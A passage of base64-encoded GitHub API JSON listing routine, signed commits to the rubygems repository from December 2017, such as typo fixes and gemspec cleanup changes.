ZpY2F0aW9uIjp7InZlcmlmaWVkIjp0cnVlLCJyZWFzb24iOiJ2YWxpZCIsInNpZ25hdHVyZSI6Ii0tLS0tQkVHSU4gUEdQIFNJR05BVFVSRS0tLS0tXG5cbmlRRXpCQUFCQ0FBZEZpRUU1MExSOTBKT28vM3BJdmRtK2M4VFFYSmsrc0lGQWxvOCtzTUFDZ2tRK2M4VFFYSmtcbitzS0Rld2dBam5PbTFZdE9OSlRNQ0wzbWFrQUtLb1dwWU1PenU4R1FadXo3aUZJeEh6d0xqbzhmNHVJNEptT0RcbjE0NmhwZ20vcG8wZVdKb2drdFVvZGpIRnhybmdHSGJaTy9QNEdxYnRzK1drU1haQUxEMVdnNndHZHlBb3VtQ2NcbnZOMGZNazBaaTdCSjN2U1pubVkzSytPUDIzbFVhd1c1K09ESFVJS3RpRzQxNXlhVEEzbXE0T3g2SUs3ZzBvT1BcbmNYcEFuNWY2eUQ5aHF5UzEyQUhQakozcHZWR0pCMXVXOHBtVVkvTUV3cnZmWjhGMFlDd1owSEsrNzg1MGRtWVFcblZ1OC83QlZyeGtNUENFd2JvWHFJZGhKK2thSVJjZENhbnRWMUNwMHhTZXBCVnFCcUhEUWFpdHd3QTJ6OFk5aU1cbnlJZXRES3hMUEtRRll2TThyM2ZlSmJHcW5SUmk5Zz09XG49VzBVMFxuLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0tLS0tIiwicGF5bG9hZCI6InRyZWUgYWE5NTU5NWE5OGM3MTZhMTBmMGZhNTdiOWU0OWMwZjVjMWU4ODM2NFxucGFyZW50IDMyNzExZGQ4ZDkyOGZiZTM4OGI3YThlZjQ4NzRhOWFkODA4ZTc4YjFcbmF1dGhvciBTSElCQVRBIEhpcm9zaGkgPGhzYnRAcnVieS1sYW5nLm9yZz4gMTUxMzk0NTc5NSArMDkwMFxuY29tbWl0dGVyIFNISUJBVEEgSGlyb3NoaSA8aHNidEBydWJ5LWxhbmcub3JnPiAxNTEzOTQ1Nzk1ICswOTAwXG5cbkFkZGVkIHRlc3RzIGFuZCBmaXhlZCB0byBnZW1zcGVjIGNsZWFudXAgcHJvY2Vzcy5cbiJ9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzE1ODA1NjY5OWQ3MGE3ZjBmZDk0N2Q5NzQ2ZmRiZTljYzA1YzY0OTciLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvMTU4MDU2Njk5ZDcwYTdmMGZkOTQ3ZDk3NDZmZGJlOWNjMDVjNjQ5NyIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8xNTgwNTY2OTlkNzBhN2YwZmQ5NDdkOTc0NmZkYmU5Y2MwNWM2NDk3L2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoiaHNidCIsImlkIjoxMjMwMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTIzMDE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9oc2J0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoiaHNidCIsImlkIjoxMjMwMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTIzMDE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9oc2J0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiMzI3MTFkZDhkOTI4ZmJlMzg4YjdhOGVmNDg3NGE5YWQ4MDhlNzhiMSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8zMjcxMWRkOGQ5MjhmYmUzODhiN2E4ZWY0ODc0YTlhZDgwOGU3OGIxIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzMyNzExZGQ4ZDkyOGZiZTM4OGI3YThlZjQ4NzRhOWFkODA4ZTc4YjEifV19LHsic2hhIjoiMzI3MTFkZDhkOTI4ZmJlMzg4YjdhOGVmNDg3NGE5YWQ4MDhlNzhiMSIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlNISUJBVEEgSGlyb3NoaSIsImVtYWlsIjoiaHNidEBydWJ5LWxhbmcub3JnIiwiZGF0ZSI6IjIwMTctMTItMjJUMTI6MDc6MDZaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiU0hJQkFUQSBIaXJvc2hpIiwiZW1haWwiOiJoc2J0QHJ1YnktbGFuZy5vcmciLCJkYXRlIjoiMjAxNy0xMi0yMlQxMjowNzowNloifSwibWVzc2FnZSI6IkZpeCBhIHR5cG8iLCJ0cmVlIjp7InNoYSI6ImIwNDFjNzY5YTNhYjBiMTdkNjcyYWE2ODYwMzJlNjJjZTRkOWU4ZDkiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy9iMDQxYzc2OWEzYWIwYjE3ZDY3MmFhNjg2MDMyZTYyY2U0ZDllOGQ5In0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvMzI3MTFkZDhkOTI4ZmJlMzg4YjdhOGVmNDg3NGE5YWQ4MDhlNzhiMSIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6dHJ1ZSwicmVhc29uIjoidmFsaWQiLCJzaWduYXR1cmUiOiItLS0tLUJFR0lOIFBHUCBTSUdOQVRVUkUtLS0tLVxuXG5pUUV6QkFBQkNBQWRGaUVFNTBMUjkwSk9vLzNwSXZkbStjOFRRWEprK3NJRkFsbzg5V29BQ2drUStjOFRRWEprXG4rc0sya2dnQWhvZnhEdmNmWVA5OHJJSVkvbVNGb3RHUVIyY0Q1SXZnUEc5RGk4OVgyYVZPcDNYTVgrU2FrbFcyXG53L2ZsZGhOdGNaTm41NlEzRU12dWhja0NadWtJcjZIMzZrbjFGVkVhK1ZweTVJdlp2aDZlTnpZbGx5Um5NeHEyXG5PVnRxTjgxVzlqOGM0aEZvaTlRSjVXU1h3MHVtWkRYSjZqVGxRcE43SFM3OVFiaWZPOU1HbFJONS8yNkJKTVhTXG5aY2ZCRUkwbFpiY1MrVEJxcE9vRHZBdkV2RDhTSUMwOTZFMnhONGJkcUFoU0JiOFpLZkJYRFBxM3NqMWlxOXlJXG5wUVB4TVNtTWVCK0FzUHptc211eUZqTTd1SFJIcVFOaTQ4a0Y1NktoYTIvVlFEVWdPSHdIb2ppQXJ3aWpYYTN4XG54ZWFsQmczLzFkaEJjcTZkQVlHTGdZdStKTHlSd2c9PVxuPXN4RWtcbi0tLS0tRU5EIFBHUCBTSUdOQVRVUkUtLS0tLSIsInBheWxvYWQiOiJ0cmVlIGIwNDFjNzY5YTNhYjBiMTdkNjcyYWE2ODYwMzJlNjJjZTRkOWU4ZDlcbnBhcmVudCBhYzk4MzM4OTZjNjNkNmViYjI2ZjhiNWVhYmVmNWIwMTFhYzE2M2E1XG5hdXRob3IgU0hJQkFUQSBIaXJvc2hpIDxoc2J0QHJ1YnktbGFuZy5vcmc+IDE1MTM5NDQ0MjYgKzA5MDBcbmNvbW1pdHRlciBTSElCQVRBIEhpcm9zaGkgPGhzYnRAcnVieS1sYW5nLm9yZz4gMTUxMzk0NDQyNiArMDkwMFxuXG5GaXggYSB0eXBvXG4ifX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8zMjcxMWRkOGQ5MjhmYmUzODhiN2E4ZWY0ODc0YTlhZDgwOGU3OGIxIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzMyNzExZGQ4ZDkyOGZiZTM4OGI3YThlZjQ4NzRhOWFkODA4ZTc4YjEiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvMzI3MTFkZDhkOTI4ZmJlMzg4YjdhOGVmNDg3NGE5YWQ4MDhlNzhiMS9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6ImhzYnQiLCJpZCI6MTIzMDEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEyMzAxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vaHNidCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6ImhzYnQiLCJpZCI6MTIzMDEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEyMzAxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vaHNidCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6ImFjOTgzMzg5NmM2M2Q2ZWJiMjZmOGI1ZWFiZWY1YjAxMWFjMTYzYTUiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvYWM5ODMzODk2YzYzZDZlYmIyNmY4YjVlYWJlZjViMDExYWMxNjNhNSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9hYzk4MzM4OTZjNjNkNmViYjI2ZjhiNWVhYmVmNWIwMTFhYzE2M2E1In1dfSx7InNoYSI6ImFjOTgzMzg5NmM2M2Q2ZWJiMjZmOGI1ZWFiZWY1YjAxMWFjMTYzYTUiLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJTSElCQVRBIEhpcm9zaGkiLCJlbWFpbCI6ImhzYnRAcnVieS1sYW5nLm9yZyIsImRhdGUiOiIyMDE3LTEyLTIyVDExOjAzOjU2WiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlNISUJBVEEgSGlyb3NoaSIsImVtYWlsIjoiaHNidEBydWJ5LWxhbmcub3JnIiwiZGF0ZSI6IjIwMTctMTItMjJUMTE6MDM6NTZaIn0sIm1lc3NhZ2UiOiJSZW1vdmVkIGdlbXNwZWMgb2Ygc2FtZSB2ZXJzaW9uIGZvciB2ZW5kb2VyZWQgYnVuZGxlciIsInRyZWUiOnsic2hhIjoiNmY3ZmU0ZTM0YzIyMmE5NWU5YjU1Yjg0ZGZmMjk3NDkxYWU5MWNjYSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzLzZmN2ZlNGUzNGMyMjJhOTVlOWI1NWI4NGRmZjI5NzQ5MWFlOTFjY2EifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy9hYzk4MzM4OTZjNjNkNmViYjI2ZjhiNWVhYmVmNWIwMTFhYzE2M2E1IiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjp0cnVlLCJyZWFzb24iOiJ2YWxpZCIsInNpZ25hdHVyZSI6Ii0tLS0tQkVHSU4gUEdQIFNJR05BVFVSRS0tLS0tXG5cbmlRRXpCQUFCQ0FBZEZpRUU1MExSOTBKT28vM3BJdmRtK2M4VFFYSmsrc0lGQWxvODVwd0FDZ2tRK2M4VFFYSmtcbitzTFN2QWdBMkVGZko1YTh4eTd1b2R1aGVXM1pXMStxZjd0bXRzaWIwMTRUSmJyT2FXRFYxaWxYdDBGM0RlNy9cbkdXa1hvalBjakhPczlrMVNHNTlndm5xQU5EYlZXcHpyNlRRVHFXb0srQ2lnMU5nOVdOQzNhMUkyU0RMamsyMjNcbnNxc3FTRUlOelkyVi9NZUNPdGo0NldSV2ZtaitoZ2tvVGRPMDNwRER2NkoxeEpUZTdOcWxkUnRyS2xFOGVBZjRcbm9vaG9CMnVCa0paTDFEZ1VsWTdudjlNU0p1aThRWVBrSFU0dzRNRVpzQnpsVFUzL0tabzRVVEhnUjN6N25UVUVcbmVlcjIzOWRxZWJDSFFjU3ZyZFE3bW50MHF0ZnRPeTVvSktac24xRFlFQ1dGWHRXUVQ4ZDl0WEI0WnRTRmtUMUxcbmgrNzlXNDUrbHFEcXFXNldEQmVOMkI4Mkh5VWRSQT09XG49YVdxTFxuLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0tLS0tIiwicGF5bG9hZCI6InRyZWUgNmY3ZmU0ZTM0YzIyMmE5NWU5YjU1Yjg0ZGZmMjk3NDkxYWU5MWNjYVxucGFyZW50IDZlNjMzODI2ODRhMTdiYzBkZGFiMDVhYjFhNmFmMGEyY2Y5ZTUwMTJcbmF1dGhvciBTSElCQVRBIEhpcm9zaGkgPGhzYnRAcnVieS1sYW5nLm9yZz4gMTUxMzk0MDYzNiArMDkwMFxuY29tbWl0dGVyIFNISUJBVEEgSGlyb3NoaSA8aHNidEBydWJ5LWxhbmcub3JnPiAxNTEzOTQwNjM2ICswOTAwXG5cblJlbW92ZWQgZ2Vtc3BlYyBvZiBzYW1lIHZlcnNpb24gZm9yIHZlbmRvZXJlZCBidW5kbGVyXG4ifX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9hYzk4MzM4OTZjNjNkNmViYjI2ZjhiNWVhYmVmNWIwMTFhYzE2M2E1IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2FjOTgzMzg5NmM2M2Q2ZWJiMjZmOGI1ZWFiZWY1YjAxMWFjMTYzYTUiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvYWM5ODMzODk2YzYzZDZlYmIyNmY4YjVlYWJlZjViMDExYWMxNjNhNS9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6ImhzYnQiLCJpZCI6MTIzMDEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEyMzAxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vaHNidCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6ImhzYnQiLCJpZCI6MTIzMDEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEyMzAxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vaHNidCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6IjZlNjMzODI2ODRhMTdiYzBkZGFiMDVhYjFhNmFmMGEyY2Y5ZTUwMTIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvNmU2MzM4MjY4NGExN2JjMGRkYWIwNWFiMWE2YWYwYTJjZjllNTAxMiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC82ZTYzMzgyNjg0YTE3YmMwZGRhYjA1YWIxYTZhZjBhMmNmOWU1MDEyIn1dfSx7InNoYSI6IjZlNjMzODI2ODRhMTdiYzBkZGFiMDVhYjFhNmFmMGEyY2Y5ZTUwMTIiLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJTSElCQVRBIEhpcm9zaGkiLCJlbWFpbCI6ImhzYnRAcnVieS1sYW5nLm9yZyIsImRhdGUiOiIyMDE3LTEyLTIyVDA5OjUyOjA5WiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlNISUJBVEEgSGlyb3NoaSIsImVtYWlsIjoiaHNidEBydWJ5LWxhbmcub3JnIiwiZGF0ZSI6IjIwMTctMTItMjJUMTA6MTY6MzBaIn0sIm1lc3NhZ2UiOiJPbmx5IGNsZWFudXAgc2FtZSB2ZXJzaW9uIG9mIGV4aXN0ZW5jZSBidW5kbGVyLiIsInRyZWUiOnsic2hhIjoiNDc5ZmE5YjExMmQ3ZGE5Y2NjYmNkMTUxNTM4ZGZkOTRiM2RhODlmYSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzLzQ3OWZhOWIxMTJkN2RhOWNjY2JjZDE1MTUzOGRmZDk0YjNkYTg5ZmEifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy82ZTYzMzgyNjg0YTE3YmMwZGRhYjA1YWIxYTZhZjBhMmNmOWU1MDEyIiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjpmYWxzZSwicmVhc29uIjoidW5zaWduZWQiLCJzaWduYXR1cmUiOm51bGwsInBheWxvYWQiOm51bGx9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzZlNjMzODI2ODRhMTdiYzBkZGFiMDVhYjFhNmFmMGEyY2Y5ZTUwMTIiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvNmU2MzM4MjY4NGExN2JjMGRkYWIwNWFiMWE2YWYwYTJjZjllNTAxMiIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy82ZTYzMzgyNjg0YTE3YmMwZGRhYjA1YWIxYTZhZjBhMmNmOWU1MDEyL2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoiaHNidCIsImlkIjoxMjMwMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTIzMDE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9oc2J0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBz